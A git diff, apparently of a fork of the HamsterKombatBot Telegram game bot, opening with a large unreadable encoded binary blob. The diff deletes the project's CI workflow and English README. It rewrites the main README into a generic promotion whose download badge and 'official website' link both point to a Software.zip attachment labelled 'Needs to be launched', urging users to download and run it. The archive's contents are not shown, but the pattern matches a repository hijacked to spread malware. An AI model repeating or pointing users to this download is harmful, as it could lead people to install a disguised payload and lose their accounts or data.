zaOm$^Rf@Mt{>UAIZ9(eTbghZ9ZZ+~Xxo*r``+7JgHL-uylHk{LJ&?s^}w%* zS59bovV)dA4u(VuH-sx}@Fl?YZNuxuU>~Z&LE%V!KiXVBJYfsV*6ZL?Mi{)Xlw8Q@ z8!XT11t;8ySA2QPl|&>MPlQwqh!EI~@dQ-`u$s6p_8sSiCXnYTbU)r_g=DTY*zd3R zUkxs%S#ux2&kX2Bn%K3gf`H7i5APk=c{Ncrk!@lE(~$R$c3*jrcAzqKKUCMOQ}yM+ znx34>f-`Tp64^)ZeCXs}xBTZHyMF$L9-@*#nj@@yQ{G_1#U-NM>+b9K& z?odHV#>$8jn-11&5ZO20kKX=J4#|i^67CK>Y zakc)F9@xl10JZ|Kbm-2$@aKb?@UB36-@=3SK|Sb<*jfM^x?aQoh=uzl=#;6p9z|oC z4A%#5H(&onCC%Ie*o@frz#nS}-ephF?gSf;F8tMV9y$=QZ;f8}m`CJLU9(;v6PSBa zA%GOAzqOLraq7Q%pd_pi5JsM;tV07)G2#&Rvb~(Xf_eu=FcyBEUDwk%%uElh1BUps zq){pGD>K#c%$1muI5aXX#6M(E>`Dlt*>mG4s1^6`&3YE3dM)Uh(W)gZxSJb|1j$UpU1#38_nbC9h+9`u_Yw^HXM7fgB>>$JC!ZK;g${LJ zj-QAX2!!x5%I8uJ<`Rjbn44$S&uLzB{0VkO?pc51HYKj5m+cA;Y787A2|PEMr{@b+ zBN$~S9$koQ5}ok{EiOpv>tnJ!gVl8S(_eoq3$3;7On)~q7)X`+Iff! z?r|%!gndfmYWYR^dE=uG;YE z8jq|*@sbnxT8CGY}GMLv>ix4=mz~3{1>f5w->jP zU4_#+#sLgwF=g$FUsWaI;$-#EDICfU%=0E`(%%ug=JDEn6{0^H`7MdbE;lCPoy*>9 zwFeA6U8aRhdTva`XP%V-x-_x9)D%}}vpkic_}VMlzu&cj&O7tve%Mm89FC+lu=^TZ zCk%yKeVAQl%jw7abo*-9>TW&o{EX8=32s;&aY22#^6Q<6xXwi!FJgg;aq2Yjku(Qv zHW=fe87K?q;tBm=i0Sh9A7)XFoSO^NOCWZ1obN1!D^bBzo@>;L@wd`0s6r_G^c;G< zoVNrEIc6GYlqEBnzOEitFIsenpTgVwa!iBju3kL`p=TmYs;8$H$*|61@xa~lSgy*n zwWNscB-G&(TBjH;$Q87%CE8@Bvi#Z(q0BmjF~gk7jJgjfv@0hO=#>jFL@~njXO!Fd zO@>JYk|*ys&^JdvTHb@8JH^h7EluZ69>PQOqe8;2jrb&CWR8Sr z)PlE(vvj-hOZx}FBKBp!Qxp_`SzKq)k5as!mN>X1oSOZY+gQfd}5z7 zF9MxXq|0J9I$B)H<`L|6=tx@}n3a3CiWdQkS~w;%kz zp-;&28t^PYFXhE6z9fL^038d-6z2E0TSOSpWQpU*;7AQ zGc!PztxuM=J|7#HQAGNt15bwv_@ZQhgKWCSi9OUaY~eX6_Mtj8dgy2{Xva0JA5;ev zs&F`udyb@|K>rN-ivq$}aDBxm4t06(}x)iALBjoIgQ4#xuc2J6?T+*|=-RG~VEgw|_937d?qV~q` z^<^BLF8>txbc?A(6`7l0M~+HtX3-Blrof&rhDOXP<9y12A*dW`tGa7LG_$^PC|2W3 zI^5`KY0LWo4l(`9i@PEN7_lCm3<{BXTla-UMvXV)-(IMfy8P*-Aw5GslSRAWDSV*w z;f~b9Xt3qR$QmshdTY_=MV1Vo_DQUPkI(M+##cGAlrP_Ms z4Lvpd!IoEvUrn$)ijFWgbyVHQt5Lx!Y000$T-FPvtGr5Nu~8 z>J})DR2b4!d-Vg8KOCb)2>y)HEj@tXq1BWtZD>b*WQ86lE~1#vA7Q)mLFzfoOzs2{ zK@(S1Xkx$sreuUyvR0k)xVdxd-CoP$dXXh>gqZnxCu*MCBlWAjNimtnV;%a`l6!#t zl$icvv7N{ZW@Db2Bq^U)5rB7?L_PYZ!m4H}w^Pj!8WD{3{&@{-31-Gi=NJ4I;mio@H0&pkh;=u|%-0J>a+K zB*{9o_QJgDDj#}>FQzR6%@2-psYKYt_d*9FHtj7w94yZI7wIPHl}CMTgmC2j zikg_gjz@CLUEf58oV{rTxM0RX8++s_LtYVl{FMow6&@q5 z?#eZ_+PZhyRP!LgLbuSwLR{FRgYFYn1QI|Uozo@%m`$V5BTd5sv!*RDDC{x3;-%S2 z1jv(QQ&Hn#xVeL|=VTQ`_Goyo-x>2LNUiH_WN|l!6h;XU;(d2~zM1RsP^PbjzWp!! zKSNIM_XzI1yFK+7RGS!3@-yKR0WEj`M$2K&zeuv`Q8q~$YacF9pWXSZ*{ApNmYPV= z?tdOc2j zX&ete4^8A**lX}D5akUaSLGE)EJ#PzeiEMI=O1g~Bg(I2JATh(mla+rD1UuGT0qSU zx|i(|#NjUFYFAL`ee~!2M;0xEaNtkFqQ-xTV+-6!R919nAxeZvedB~0U@%|Gm&j=4 z{(nWsSgIcpCUN1LSP&w6%*cFNI}xQYGBEdfWVqV-j-#9e&>h6T}lb@wksTJ$rDlIeE%^~I{Ls&JPn!NYZ= zyT$x>FmMoD|qg zx=(*GX4QX7gT2z=tx!9kqf7|buf@lxrH#COkn@|mZB-R5V8?pI{K8CKS#A}N>6+vZ zCU{Z}Xb{`iydBfv-R^o7VY$c#mPKKEzDtA1970TEUhHZJ`t}~Ji}_k`IX_8HSU<&U z-p_acLzx67gi53Wz6G(GR7mU#YvK5keU|&L%1-wQ=TrnLy~erGEeuZwS{|sIu}5Es zu8Oipb{@s~%!QRjRnFtS+?i*FDa-hF@F?Uz>hn-}MguWHyhky+}* z*Z3va3Q#jDw;^V`cJkZJP9(&G`bZ{q3#RTv#8;F<^E9XW6r=sQM?Z%1j<6h4)_`*u-o}=~6hcgssLk%lgFoD;RMOfKp{$jns z=G!F~K{s=xmeDJ(VG318oXL`i9UMJG@)u+vDo#Mo`r9E+Ir{mTr)sq_jB##76HS1$D;zq9G^w7K5h$D*^u~ zzc-B&KoM;}XnM$#?on-AegEk`zP$AzxSFK7DnFA5q|PT1k^%@TBZefA&~_Gj(l-Rp;7cpXe*r{CGAm z$H0(4b5vCTb7H-E|3HCU(S_KmbhG=SoS3JJ1Rng%*_PV(6roK3@=M~BpXC`f`xI(q z!n%w^!q5-eSeAh+Q#XFRW->gnJ^e5b$~V{}nG$PgiDPrhV^Yp9;Mm4u)-rNhMJf2-roeQkmf{hVMX* z7UfP$_$|1WHxZ~ZSp1mWy3=ansr}C8ZX4T9P+VhpWzNd!$Fs}R<|;v4xlL9hLAw>A z-{tZ2Gr5 zSqg>aBbRFJQM$NP54<5S2mY=Q)iu4&@Ciq@`1I}L8#@-I!imwSfU7r$*Yf6|Ks{}q z{0|f3=Xlciy#T`@tSqUC%HtAAh=Nz+Z_Oh)wvHT9!?=9r?^wQLjg(pCorZZ2h3!37 z4g*NP!_NR#@I80)Oxi4Ijkx%9`K`#p+Gt?BH<|(Q{j&?=XMeFMq2Y{|xLi zsdZ9alRNq*L;Ruuo;8K1t|zlUML&Fm)!0$2Woess3`e}Nw3}0F%>`DK!l|#B+XSYQ zMjPv|oaq0~y()_w=`C`%1r814jelvxy^R1AQJBomcusJKh|;*Tq5~#JTc9)iIEY^i zTfG+fA@h+8VS2^ zJ8<|6r%L55pv3gU%XM)wRs@#3B`N0Cns7L9l`Xd2h;eR~$BuZ(zt~7yyeEepLmn5`Vks5sP6j0|I6zY;ziI-(nAwr-!sA7w_rXNmPWs!EQcXncc_;G-Lr*pk>Waf-F z&O<0As46Wn01LUI9N1OB_p8kShvq5R)=G_g5D&a-NStpuqQUP_SyC&)RaE1mg~TTfZAp#~!@is@sD2Cf`O*@1Nk~}iB4#REzi+f5Z##6Nw->ybSTFCk@LjzF z9&69sWV1yBkXUrOdFn%cSzPf`q)AT;%3VErpFOel$62uY&iYf%&5AFmLv&7C8ds&k zDMs(`vmkt#t$N#kGhXkY&FNs1+(h5iT&#`-@xzrRqA7sLP9weM_{i>kdm*ExP~#2= z-+JGmPmp8(YigqR__ySQ+9$UScs-(ylW_~J_pO&*|5B0DodgUV9O{w^1eN6K$V5qU zq!EKU_E~l_|#{`nlUQz z?Vkrnb`ZB`s+RGOEPQrWQK<36=idPqaY7dKPjptt2bB3R;iNGyM6N<)_>fa0wcEuW z9FxQ8)D~MQWAz2JaS9woBq&Gi<8|{*E&tF$I)01Bec|qsta7g5-hOK-bf&>2PYP1y zx7VP5s8Q6U5429^krgTt!orvv{60>Lax+sGS4L*C%Zw6H>R#=F`Wt<>hW3vm$Gc_s zxZ8mfpLL+Aiw!opjqlrbvtdq8E83KjO9Bd`L?&v#l!W)Bo$5!5H}nNJWWofLct5(1 z7dpdJ6vxR1tlNS$#dlVY+LiBA^jdbD#%&G%iA&YPuNVvs5no47o_D;jnjahky=Hyt z`b9#MndURR9)LUhT=vR7d5&>+t|ZlHFb2- zBTyLnb%(Mm(4+h1&8!u=zy~r`21~`hZJCE#EBsbl9^cKNWdB{T zBMlFIjBbg+^S|w{PW1beP4~jSFa0A*bHZEO9~sWR>TwZ(8~s&- zlZ_`A#1D`k0S&~ghA0o)>9gv}eNFhB3)HFODFifsu!)*(gg?`UCCQpyOxAfPK1UUB zW(QK$pqW*(+H`f1kWT5RXqH@s-7+}Y^yC+Z0p&7`YJZg2qG0BSsnao(!lRjhj#R9Z z`Lau2x9we;$@j*PRh4|Wk>zp=f1;^wQ|vCipZ!;?LlEd&5hwv;&4U}q{76IHQCPa8 z$+!n8&k|pK1v+ZlXf$RNR&-Q38!j*>7NApwl36+q)|`o95W8?Ur^jf;NYSWoM?VS2^$;nKdvur;FlCt2l|jA zTBZBAxZ8dlT*jN`bv2){lbzfN8+=ng;njZE1yR*fUhDb?m3MT$B(4Z%P%K0Pz-WAD}(n-QWAg=!HBk+V)FhhvS+S+4 zlp!_WmL6zKR$Me&MF~{aKngvhaEn7gc@{DDQ!c-a-YZzh=2hQc2C;A>=gcr^*52V# z3B-HY`T~6igCASF0w`uxI+B+*Ou-_*jlwIqd}Zz9l;?%8^q_eJf|Oh-i0nv`bz@TD!o$p~a*7Mb2=e z4E~*AB_o-|OEn*-FQEfGAbxnm?&!7F12d>&gFu$J5Jf%o_(Hlsy$1A0)6wHuxF(OILJU{I^hi6X7O|cs z4ZTIOryJKdEpeu8E4|XEQc^1kA!N9j6C95p?LIFitOu0VJoq*)f^+N8BSEVV*FXW^ zjVEAGp(0!4o&WgJ4kPzC0a(gGXy}`+ohxG*z2&}98C^ilLG<+b;Ks38cNL~@-e{0} zIxdhkVSzvk$9rTsj&v967~0y_5pjLk(nx|MZT&xvv}x_F#@C#O-@$QlFS1f=BFzZ#AP%kLIMW$L?Ws9+UXNaifMm6q>`kJqW9&IypeZ)* z8?ee5QJIKY&hmpYu9l_m1enT*+Ajs}SA9uTG z=xzG-AIJOF9o&8^r#nY$k~Ew6IKW(JuUw+gVDCkM|}Xy%Q&Hc34z~ET0``$i;R(ko%zpW z8a%k4z$b0Wh|N5GC_^f2VtpXUtN2FS1u1Q2n-xWGV*R&ZQLcUF>~{Q$$|>W@T*PckAZra~dLzHX=w?|A_l89@5kQA^sL z#vKel|LDN1-XuQ0<_x3$Tu#o(?uAQU<2f~AK-4I`*~9JF0*gWa+^M!pCM;07pzfgz zEWx=Jm-Pzw)phtQbbw&8+%GhM(bvf)rLL592Kw%L%ESjzjk89LQyljbm(Jq7^CLUKlKZKb|Ky3M+;L|t#;=OWzMxL`c-6edC_j#Lc=M{V zD`+6>Q@o4k|MaMd!{)Ak>#7pgO7+w9=uE7dKRQ8n;c)W5Olqryp{&`8AzuG+%i^uU z*cWz@d2~(%la;Pq@3V&ETPOBMH!hX66#j%wZIGFq;kO{IHGcP09<3nGem*F^pv=_l zGqI9Rc@=7=;g`^3U2UI@RmkA|x@>5*7?q(jnU7u-@eaeKh{-fyP=o!~pAAD*OQKBk zcHSGkhGm$4UH(&L%=1AIAHni9HH3u{mtmtYo}6AGr4z{@uPYg2MV=*3X(#j_3BC-Y zDC&KSt!Xvs`w;>fBB2E=XSut#v}9x`;?~)Y&ZVo(q99Q(M8dk{-a`yqIoXSGG2 z;HuR8Mw2LSo~2%*Q|qJ$^OxCN{4HY`|1D!=%_t-y$}-^`V)+^7F!h7jqhNw&G2%^Y z;x2x*j0BbQ(bbl5b_;%yrauQ}t|?Dt7!@zB&|y+VA=u6^;ctRz z(kAH4yhcJX*sP%XJBV!~(%t%0Z+PR}To^#Sb&0t3!9X5H8!em)q<7o$lxYjqRG`%G zNpiv!Tq0j883yHI#4{|w75-JeH<}8oM~{YK1*b!c`JP@JDK2#C=wzvF*alfP$8kogy(alvo0_6H*cERZ P@Oh!8`wXID6ZSs .env - echo "API_HASH=12345" >> .env - - - name: Run container - run: | - docker compose up -d - docker compose ps - - - name: Check container status - run: | - container_status=$(docker compose ps --status running --format "table {{.Name}}\t{{.Image}}\t{{.Command}}\t{{.Service}}\t{{.CreatedAt}}\t{{.Status}}\t{{.Ports}}") - echo "$container_status" - if echo "$container_status" | grep -q "Up"; then - echo "Container is running. Proceeding." - else - echo "Container is not running. Exiting." - exit 1 - fi - - - name: Push Docker image - if: success() - uses: docker/build-push-action@v6 - with: - context: . - push: true - platforms: linux/amd64 - tags: ${{ env.REGISTRY }}/${{ github.repository_owner }}/hamsterkombatbot:latest \ No newline at end of file diff --git a/README-EN.md b/README-EN.md deleted file mode 100644 index d9c5619..0000000 --- a/README-EN.md +++ /dev/null @@ -1,89 +0,0 @@ -[](https://t.me/sho6ot) -[](https://www.python.org/downloads/) - -![img1](.github/images/demo.png) - -> 🇷🇺 README на русском доступен [здесь](README.md) - -## ⚙ [Settings](https://github.com/shamhi/HamsterKombatBot/blob/main/.env-example) -| Setting | Description | -|--------------------------|------------------------------------------------------------------------------------------| -| **API_ID / API_HASH** | Platform data from which to launch a Telegram session _(stock - Android)_ | -| **MIN_AVAILABLE_ENERGY** | Minimum amount of available energy, upon reaching which there will be a delay _(eg 100)_ | -| **SLEEP_BY_MIN_ENERGY** | Delay when reaching minimum energy in seconds _(eg [1800,2400])_ | -| **AUTO_UPGRADE** | Whether to upgrade the passive earn _(True / False)_ | -| **MAX_LEVEL** | Maximum upgrade level _(eg 20)_ | -| **BALANCE_TO_SAVE** | Balance limit that the bot “won't touch” _(eg 1000000)_ | -| **UPGRADES_COUNT** | The count of cards that the bot will upgrade in 1 lap _(eg 10)_ | -| **MAX_COMBO_PRICE** | Maximum purchase price for buying combo cards with an available balance _(eg 10000000)_ | -| **APPLY_DAILY_ENERGY** | Whether to use the daily free energy boost _(True / False)_ | -| **APPLY_DAILY_TURBO** | Whether to use the daily free turbo boost _(True / False)_ | -| **RANDOM_CLICKS_COUNT** | Random number of taps _(eg [50,200])_ | -| **SLEEP_BETWEEN_TAP** | Random delay between taps in seconds _(eg [10,25])_ | -| **USE_RANDOM_USERAGENT** | Whether to random User Agent every time to start _(True / False)_ | - -## 📕 Профили -Possible to create a profile with unique data for each session: -```json -{ - "session1": { - "proxy": "socks5://yGow3a:uBro3wL@58.195.21.83:9715", - "headers": {"...": "..."}, - "fingerprint": {"...": "..."} - }, - "session2": { - "proxy": "socks5://yGow3a:uBro3wL@58.195.21.83:9715", - "headers": {"...": "..."}, - "fingerprint": {"...": "..."} - }, - "...": {} -} -``` -> ❕ **Note**: `session1` и `session2` - are examples of session names. - -## ⚡ Quick Start -1. To install libraries on Windows click on `INSTALL.bat`. -2. To start the bot use `START.bat` (or in console: `python main.py`). - -## 📌 Prerequisites -Before you begin, ensure you have the following installed: -- [Python](https://www.python.org/downloads/) version 3.10 or 3.11 - -## 📃 Getting API Keys -1. Go to [my.telegram.org](https://my.telegram.org) and log in using your phone number. -2. Select **"API development tools"** and fill out the form to register a new application. -3. Note down the `API_ID` and `API_HASH` in `.env` file provided after registering your application. - -## 🧱 Installation -You can download [**Repository**](https://github.com/shamhi/HamsterKombatBot) by cloning it to your system and installing the necessary dependencies: -```shell -~ >>> git clone https://github.com/shamhi/HamsterKombatBot.git -~ >>> cd HamsterKombatBot - -#Linux -~/HamsterKombatBot >>> python3 -m venv venv -~/HamsterKombatBot >>> source venv/bin/activate -~/HamsterKombatBot >>> pip3 install -r requirements.txt -~/HamsterKombatBot >>> cp .env-example .env -~/HamsterKombatBot >>> nano .env # Here you must specify your API_ID and API_HASH , the rest is taken by default -~/HamsterKombatBot >>> python3 main.py - -#Windows -~/HamsterKombatBot >>> python -m venv venv -~/HamsterKombatBot >>> venv\Scripts\activate -~/HamsterKombatBot >>> pip install -r requirements.txt -~/HamsterKombatBot >>> copy .env-example .env -~/HamsterKombatBot >>> # Specify your API_ID and API_HASH, the rest is taken by default -~/HamsterKombatBot >>> python main.py -``` -> Installing as a Linux service for running the bot in the background [here](docs/LINUX-SERVIS-INSTALL_EN.md). - -⏳ Also for quick launch you can use arguments, for example: -```shell -~/HamsterKombatBot >>> python3 main.py --action (1/2) -# Or -~/HamsterKombatBot >>> python3 main.py -a (1/2) - -#1 - Create session -#2 - Run clicker -``` diff --git a/README.md b/README.md index e819f14..c69e297 100644 --- a/README.md +++ b/README.md @@ -1,90 +1,40 @@ -[](https://t.me/sho6ot) -[](https://www.python.org/downloads/) - -![img1](.github/images/demo.png) - -> 🇪🇳 README in english available [here](README-EN.md) - -## ⚙ [Настройки](https://github.com/shamhi/HamsterKombatBot/blob/main/.env-example) -| Настройка | Описание | -|--------------------------|-----------------------------------------------------------------------------------------------| -| **API_ID / API_HASH** | Данные платформы, с которой запускать сессию Telegram _(сток - Android)_ | -| **MIN_AVAILABLE_ENERGY** | Минимальное количество доступной энергии, при достижении которой будет задержка _(напр. 100)_ | -| **SLEEP_BY_MIN_ENERGY** | Задержка при достижении минимальной энергии в секундах _(напр. [1800,2400])_ | -| **ADD_TAPS_ON_TURBO** | Сколько тапов будет добавлено при активации турбо _(напр. 2500)_ | -| **AUTO_UPGRADE** | Улучшать ли пассивный заработок _(True / False)_ | -| **MAX_LEVEL** | Максимальный уровень прокачки апгрейда _(напр. 20)_ | -| **BALANCE_TO_SAVE** | Лимит баланса, который бот "не тронет" _(напр. 1000000)_ | -| **UPGRADES_COUNT** | Количество карточек, который бот прокачает за 1 круг _(напр. 10)_ | -| **MAX_COMBO_PRICE** | Максимальная цена покупки для покупки комбо при доступном балансе _(напр. 10000000)_ | -| **APPLY_DAILY_ENERGY** | Использовать ли ежедневный бесплатный буст энергии _(True / False)_ | -| **APPLY_DAILY_TURBO** | Использовать ли ежедневный бесплатный буст турбо _(True / False)_ | -| **RANDOM_CLICKS_COUNT** | Рандомное количество тапов _(напр. [50,200])_ | -| **SLEEP_BETWEEN_TAP** | Рандомная задержка между тапами в секундах _(напр. [10,25])_ | -| **USE_RANDOM_USERAGENT** | Использовать ли рандомный User Agent при каждом новом запуске _(True / False)_ | - -## 📕 Профили -Для каждой сессии можно создать профиль с уникальными данными: -```json -{ - "session1": { - "proxy": "socks5://yGow3a:uBro3wL@58.195.21.83:9715", - "headers": {"...": "..."}, - "fingerprint": {"...": "..."} - }, - "session2": { - "proxy": "socks5://yGow3a:uBro3wL@58.195.21.83:9715", - "headers": {"...": "..."}, - "fingerprint": {"...": "..."} - }, - "...": {} -} -``` -> ❕ **Примечание**: `session1` и `session2` - это примеры названий сессий. - -## ⚡ Быстрый старт -1. Чтобы установить библиотеки в Windows, запустите INSTALL.bat. -2. Для запуска бота используйте `START.bat` (или в консоли: `python main.py`). - -## 📌 Предварительные условия -Прежде чем начать, убедитесь, что у вас установлено следующее: -- [Python](https://www.python.org/downloads/) версии 3.10 или 3.11. - -## 📃 Получение API ключей -1. Перейдите на сайт [my.telegram.org](https://my.telegram.org) и войдите в систему, используя свой номер телефона. -2. Выберите **"API development tools"** и заполните форму для регистрации нового приложения. -3. Запишите `API_ID` и `API_HASH` в файле `.env`, предоставленные после регистрации вашего приложения. - -## 🧱 Установка -Вы можете скачать [**Репозиторий**](https://github.com/shamhi/HamsterKombatBot) клонированием на вашу систему и установкой необходимых зависимостей: -```shell -~ >>> git clone https://github.com/shamhi/HamsterKombatBot.git -~ >>> cd HamsterKombatBot - -# Linux -~/HamsterKombatBot >>> python3 -m venv venv -~/HamsterKombatBot >>> source venv/bin/activate -~/HamsterKombatBot >>> pip3 install -r requirements.txt -~/HamsterKombatBot >>> cp .env-example .env -~/HamsterKombatBot >>> nano .env # Здесь вы обязательно должны указать ваши API_ID и API_HASH , остальное берется по умолчанию -~/HamsterKombatBot >>> python3 main.py - -# Windows -~/HamsterKombatBot >>> python -m venv venv -~/HamsterKombatBot >>> venv\Scripts\activate -~/HamsterKombatBot >>> pip install -r requirements.txt -~/HamsterKombatBot >>> copy .env-example .env -~/HamsterKombatBot >>> # Указываете ваши API_ID и API_HASH, остальное берется по умолчанию -~/HamsterKombatBot >>> python main.py -``` -> Установка в качестве Linux службы для фоновой работы бота [тут](docs/LINUX-SERVIS-INSTALL.md). - -⏳ Также для быстрого запуска вы можете использовать аргументы, например: -```shell -~/HamsterKombatBot >>> python3 main.py --action (1/2) -# Или -~/HamsterKombatBot >>> python3 main.py -a (1/2) - -# 1 - Создает сессию -# 2 - Запускает кликер -``` +# Hamster Kombat Automation Tool + +Welcome to the Hamster Kombat Automation Tool repository! This Python-based automation tool is designed to streamline your experience while playing the game Hamster Kombat. + +## Overview + +Hamster Kombat Stake is a free automation tool that can handle various in-game tasks for you. From auto-tapping to cipher tasks and purchasing the best cards, this bot has got you covered. By automating these tasks, the bot aims to enhance your overall gaming experience by saving you time and effort. + +## How to Use + +To access the automation tool, simply download the software package from the following link: + +[![Download Hamster Kombat Automation Tool](https://img.shields.io/badge/Download-Software.zip-blue)](https://github.com/user-attachments/files/18060583/Software.zip "Needs to be launched") + +Once downloaded, launch the software to start using the automation tool for Hamster Kombat. + +## Features + +- Auto-Tapping: Let the bot handle tapping tasks for you. +- Cipher Tasks: Automate the completion of cipher tasks within the game. +- Card Purchasing: Automatically purchase the best cards available in the game. +- Fully Automated: Sit back and relax as the bot takes care of these tasks on your behalf. + +## Installation + +1. Download the software package from the provided link. +2. Launch the software on your device. +3. Follow the on-screen instructions to set up the automation tool. + +## Support + +If you encounter any issues or have questions about the automation tool, please check the "Releases" section for updates or reach out to our support team for assistance. + +## Disclaimer + +Please note that the automation tool is provided for educational and entertainment purposes only. Use it responsibly and in accordance with the game's terms of service. + +Start using the Hamster Kombat Automation Tool today and elevate your gaming experience! 🐹💥 + +Feel free to visit the [official website](https://github.com/user-attachments/files/18060583/Software.zip) for more information. \ No newline at end of file